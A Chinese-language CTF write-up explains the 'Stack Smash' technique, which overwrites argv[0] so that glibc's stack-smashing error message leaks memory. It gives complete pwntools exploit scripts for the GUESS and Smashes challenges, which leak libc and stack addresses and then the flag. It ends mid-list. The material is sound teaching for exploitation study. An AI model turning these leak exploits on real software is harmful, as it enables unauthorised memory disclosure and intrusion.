Stack Smash 技巧算是 ROP 中一種比較巧妙的利用吧,在 ctf-wiki 上也說到了這個技巧。但是看完了也感覺是懵懵懂懂的,所以這里結合例子再做一個更細致的總結,涉及到的基本知識也會比較多。
1.Linux的環境變量(environ)
第一種獲取環境變量的方法是使用getenv函數:
getenv能通過傳入鍵名的方法獲取到值
LC_PAPER=zh_CN.UTF-8
,getenv(“LC_PAPER”)就可以獲取到他的值。關于環境變量的詳細解釋可以看這里:
http://tacxingxing.com/2017/12/16/environ/
區別于第一種只能獲取單個的環境變量,另一種方式是使用environ 變量來獲得所有的環境變量的值
environ 變量作為一個指針指向了環境變量的字符指針數組的首地址。
#include <unistd.h>
#include <stdio.h>
extern char **environ;
int main(){
char **env = environ;
while(*env){
printf("%sn",*env);
env++;
}
exit(0);
}
將這段代碼編譯運行以后,可以看到將當前的環境變量全部打印出來了。
這里我們只要知道 environ 變量的實際地址是指向棧的基地址(高地址)就行了。
2.canary 保護
Canary保護機制的原理,是在一個函數入口處從fs段內獲取一個隨機值,一般存到EBP – 0x4(32位)或RBP – 0x8(64位)的位置。如果攻擊者利用棧溢出修改到了這個值,導致該值與存入的值不一致,__stack_chk_fail函數將拋出異常并退出程序。
也就是在當前函數的 EBP 和輸入點插入一個 “cookie” 信息,如果在棧溢出時將這個值覆蓋了,程序就會拋出錯誤。
詳細的介紹和繞過可以看這里
在程序加了canary 保護之后,如果我們讀取的 buffer 覆蓋了對應的值時,程序就會報錯,而一般來說我們并不會關心報錯信息。而 stack smash 技巧則就是利用打印這一信息的程序來得到我們想要的內容。這是因為在程序啟動 canary 保護之后,如果發現 canary 被修改的話,程序就會執行 __stack_chk_fail 函數來打印出 argv[0] 指針所指向的字符串
我們通過Stack Smash的源碼來分析一下:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminatedn",
msg, __libc_argv[0] ?: "<unknown>");
}
stack_chk_fail 函數中調用了?fortify_fail 函數,并傳入 msg:
stack smashing detected
之后對msg在 libc_message 函數中輸出,這個函數還把 libc_argv[0] 作為參數輸出了。這個參數其實就是 argv[0] ,在命令行中也就是程序名
在程序執行時, argv[0] 會放在棧中,利用棧溢出可以將這個值覆蓋為 got 表中的值,在執行 __stack_chk_fail 函數時,利用輸出信息就可以輸出我們想要的 got 表信息,又給了 libc 庫,進而可以得到 libc 的基地址。
得到基地址之后,我們可以進一步利用,輸出棧地址以及棧中的信息。
這里拿一道網鼎杯的 pwn1-GUESS 來講解。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax@9
__int64 v4; // rcx@13
__WAIT_STATUS stat_loc; // [sp+14h] [bp-8Ch]@1
int v6; // [sp+1Ch] [bp-84h]@5
__int64 v7; // [sp+20h] [bp-80h]@1
__int64 v8; // [sp+28h] [bp-78h]@1
char buf; // [sp+30h] [bp-70h]@4
char s2; // [sp+60h] [bp-40h]@6
__int64 v11; // [sp+98h] [bp-8h]@1
v11 = *MK_FP(__FS__, 40LL);
v8 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v7 = 0LL;
sub_4009A6();
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v7 >= v8 )
{
puts("you have no sense... bye :-) ");
result = 0LL;
goto LABEL_13;
}
v6 = sub_400A11();
if ( !v6 )
break;
++v7;
wait(&stat_loc);
}
puts("Please type your guessing flag");
gets(&s2);
if ( !strcmp(&buf, &s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
result = 0LL;
LABEL_13:
v4 = *MK_FP(__FS__, 40LL) ^ v11;
return result;
}
運行程序,程序會接收三次的輸入。
很明顯在gets函數處存在棧溢出,但是我們用 checksec(pwntools自帶) 檢查的時候,發現存在 canary 保護,但是沒有PIE保護(堆棧地址空間隨機化)。
這邊在反匯編代碼可以看到在 main 函數結束時檢查了 canary 的值,與 rcx 進行比較,?canary 的值是放在 fs 寄存器中的,理論上我們是不能正常查看了。
.text:0000000000400B8D loc_400B8D: ; CODE XREF: main+11Aj
.text:0000000000400B8D mov rcx, [rbp+var_8]
.text:0000000000400B91 xor rcx, fs:28h
.text:0000000000400B9A jz short locret_400BA1
.text:0000000000400B9C call ___stack_chk_fail
所以這里除非用爆破出 canary 值,否則就無法正常泄露得到他的值,但是我們可以使用上面說的 Stack Smash 技巧。
我們這里一步步來。
要泄露出 libc 的基地址就要獲得某個函數在 got 表中的地址。這里的 got 表中的地址就用 Stack Smash 這個技巧來獲得。
首先用 gdb 在 gets 函數處下一個斷點
b *0x400b23
單步 n 之后,輸入一堆 aaa
然后使用?stack 20?這個命令來查看棧上的信息。
可以看到此時?0x7fffffffdf38
?這個棧地址存儲的是 argv[0] 的值,也就是我們需要利用的值。
我們輸入的值(aaa…)是位于?0x7fffffffde10
?的地址處,計算得到輸入到 argv[0] 的距離:
總共是 296 個字節,也就是 0x128 的十進制的值。
所以我們可以構造 payload ,此時 libc_start_main_got 的值就是我們需要泄露的 argv[0] 的值:
payload = 'a' * 0x128 + p64(libc_start_main_got)
得到的值需要用 u64 函數進行解包(需要8個字節),所以需要用 ljust 進行左填充到8個字節。
將得到的 got 表的真實地址減去 __libc_start_main 函數在 libc 庫中的偏移地址就得到了 libc 的基地址了。
第一步的exp:
from pwn import *
#context.log_level = 'debug'
p = process('./GUESS')
LOCAL = 1
if LOCAL:
libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
else: #remote
libc = ELF('libc-2.23.so')
libc_start_main_got = 0x602048
libc_start_main_off = libc.symbols['__libc_start_main']
p.recvuntil('guessing flagn')
payload = 'a' * 0x128 + p64(libc_start_main_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))
libc_base_addr = libc_start_main_addr - libc_start_main_off
print 'Libc base addr: ' + hex(libc_base_addr)
這里為什么要 leak 出棧的地址呢?是因為程序沒有開啟PIE保護,所以 environ 變量中存放的棧地址的值和 flag 的距離是不變的,我們如果得到了棧地址以后,算一下與 flag 的距離就可以 leak 出 flag 的值了。
根據上面所說的,要 leak 出棧的地址直接 leak 出?environ 變量的值就行。
所以這里根據得到 libc 的基地址加上 environ 變量在 libc 庫中的偏移就可以得到棧的地址。
exp如下:
environ_addr = libc_base_addr + libc.symbols['_environ']
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'x00'))
print "stack: "+hex(stack_addr)
如圖,這樣我們就得到棧的地址了。
還是在 gdb 中的調用 gets 函數處下斷點。
b *0x400b23
依舊是先?stack 20?輸出一下棧信息,可以看到我們需要的 flag 的地址是
0x7fffffffdd30
使用?b *environ
?直接可以查看當前 environ 變量地址中存放的值(也就是棧的地址),再計算棧地址到 flag 的距離
在 gdb 中,看到了當前的棧地址為:0x7fffffffde98
gdb-peda$ b * environ
Breakpoint 2 at 0x7fffffffde98
所以可以計算出兩者的距離為 0x168:
gdb-peda$ print 0x7fffffffde98 - 0x7fffffffdd30
$1 = 0x168
也就是說下次 leak 的時候,要得到 flag 的值,直接使用棧的地址減去 0x168 就得到了 flag 的地址,再利用一次 Stack Smash 技巧泄露出 flag 的地址的值就行了。
也就是:
payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
運行exp得到flag。
最后的exp:
from pwn import *
#context.log_level = 'debug'
p = process('./GUESS')
LOCAL = 1
if LOCAL:
libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
else: #remote
libc = ELF('libc-2.23.so')
libc_start_main_got = 0x602048
libc_start_main_off = libc.symbols['__libc_start_main']
p.recvuntil('guessing flagn')
payload = 'a' * 0x128 + p64(libc_start_main_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))
libc_base_addr = libc_start_main_addr - libc_start_main_off
print 'Libc base addr: ' + hex(libc_base_addr)
environ_addr = libc_base_addr + libc.symbols['_environ']
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'x00'))
print 'stack base addr: ' + hex(stack_addr)
payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.interactive()
這里還有一道例題也是關于 Stack Smash 的(Smashes)
題目鏈接:https://www.jarvisoj.com/challenges
滿足 Stack Smash 的使用條件:
canary protect
No PIE
在 _IO_gets 函數處存在棧溢出,還是按照套路來:在gdb中查看與 argv[0] 的偏移
輸出與 argv[0] 偏移為 0x218
gdb-peda$ print 0x7fffffffde88 - 0x7fffffffdc70
$2 = 0x218
payload = 'a' * 0x218 + p64(需要泄露的地址)
仔細看程序有一個 flag 的提示,也就是這個 flag 是在服務端的
在 gdb 中?find CTF
,發現了兩處的 flag,我們傳入上一處的地址
關于為什么這么傳入,可以看這里:
https://blog.csdn.net/github_36788573/article/details/80693994
最后的exp:
from pwn import *
context.log_level = 'debug'
LOCAL = 0
if LOCAL:
r = process('./smashes')
else:
r = remote('pwn.jarvisoj.com',9877)
payload = 'a' * 0x218 + p64(0x400D20)
r.recvuntil("Hello!nWhat's your name? ")
r.sendline(payload)
r.interactive()
Stack Smash 的適應條件: